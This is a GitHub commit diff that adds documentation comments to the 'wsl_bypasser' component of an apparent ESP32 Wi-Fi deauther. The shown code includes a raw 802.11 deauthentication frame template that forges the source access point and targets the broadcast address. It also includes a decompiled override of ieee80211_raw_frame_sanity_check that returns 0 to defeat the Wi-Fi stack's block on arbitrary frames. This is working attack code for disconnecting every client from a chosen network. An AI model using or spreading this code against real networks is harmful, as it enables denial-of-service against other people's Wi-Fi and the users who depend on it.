Skip to content

Commit 5d4d368

Browse files
committed
wsl bypasser documented
1 parent 841c985 commit 5d4d368

File tree

2 files changed

+47
-2
lines changed

2 files changed

+47
-2
lines changed

Diff for: components/wsl_bypasser/interface/wsl_bypasser.h

+25
Original file line numberDiff line numberDiff line change
@@ -1,9 +1,34 @@
1+
/**
2+
* @file wsl_bypasser.h
3+
* @author risinek ([email protected])
4+
* @date 2021-04-05
5+
* @copyright Copyright (c) 2021
6+
*
7+
* @brief Provides interface for Wi-Fi Stack Libraries bypasser
8+
*
9+
* This component bypasses blocking mechanism that doesn't allow sending some arbitrary 802.11 frames like deauth etc.
10+
*/
111
#ifndef WSL_BYPASSER_H
212
#define WSL_BYPASSER_H
313

414
#include "esp_wifi_types.h"
515

16+
/**
17+
* @brief Sends frame in frame_buffer using esp_wifi_80211_tx but bypasses blocking mechanism
18+
*
19+
* @param frame_buffer
20+
* @param size size of frame buffer
21+
*/
622
void wsl_bypasser_send_raw_frame(const uint8_t *frame_buffer, int size);
23+
24+
/**
25+
* @brief Sends deauthentication frame with forged source AP from given ap_record
26+
*
27+
* This will send deauthentication frame acting as frame from given AP, and destination will be broadcast
28+
* MAC address - \c ff:ff:ff:ff:ff:ff
29+
*
30+
* @param ap_record AP record with valid AP information
31+
*/
732
void wsl_bypasser_send_deauth_frame(const wifi_ap_record_t *ap_record);
833

934
#endif

Diff for: components/wsl_bypasser/wsl_bypasser.c

+22-2
Original file line numberDiff line numberDiff line change
@@ -1,5 +1,11 @@
1-
// Inspired by: https://github.com/GANESH-ICMC/esp32-deauther
2-
1+
/**
2+
* @file wsl_bypasser.c
3+
* @author risinek ([email protected])
4+
* @date 2021-04-05
5+
* @copyright Copyright (c) 2021
6+
*
7+
* @brief Implementation of Wi-Fi Stack Libaries bypasser.
8+
*/
39
#include "wsl_bypasser.h"
410

511
#include <stdint.h>
@@ -12,6 +18,14 @@
1218
#include "esp_wifi_types.h"
1319

1420
static const char *TAG = "wsl_bypasser";
21+
/**
22+
* @brief Deauthentication frame template
23+
*
24+
* Destination address is set to broadcast.
25+
* Reason code is 0x2 - INVALID_AUTHENTICATION (Previous authentication no longer valid)
26+
*
27+
* @see Reason code ref: 802.11-2016 [9.4.1.7; Table 9-45]
28+
*/
1529
static const uint8_t deauth_frame_default[] = {
1630
0xc0, 0x00, 0x3a, 0x01,
1731
0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
@@ -20,6 +34,12 @@ static const uint8_t deauth_frame_default[] = {
2034
0xf0, 0xff, 0x02, 0x00
2135
};
2236

37+
/**
38+
* @brief Decomplied function that overrides original one at compilation time.
39+
*
40+
* @attention This function is not meant to be called!
41+
* @see Project with original idea/implementation https://github.com/GANESH-ICMC/esp32-deauther
42+
*/
2343
int ieee80211_raw_frame_sanity_check(int32_t arg, int32_t arg2, int32_t arg3){
2444
return 0;
2545
}

0 commit comments

Comments
 (0)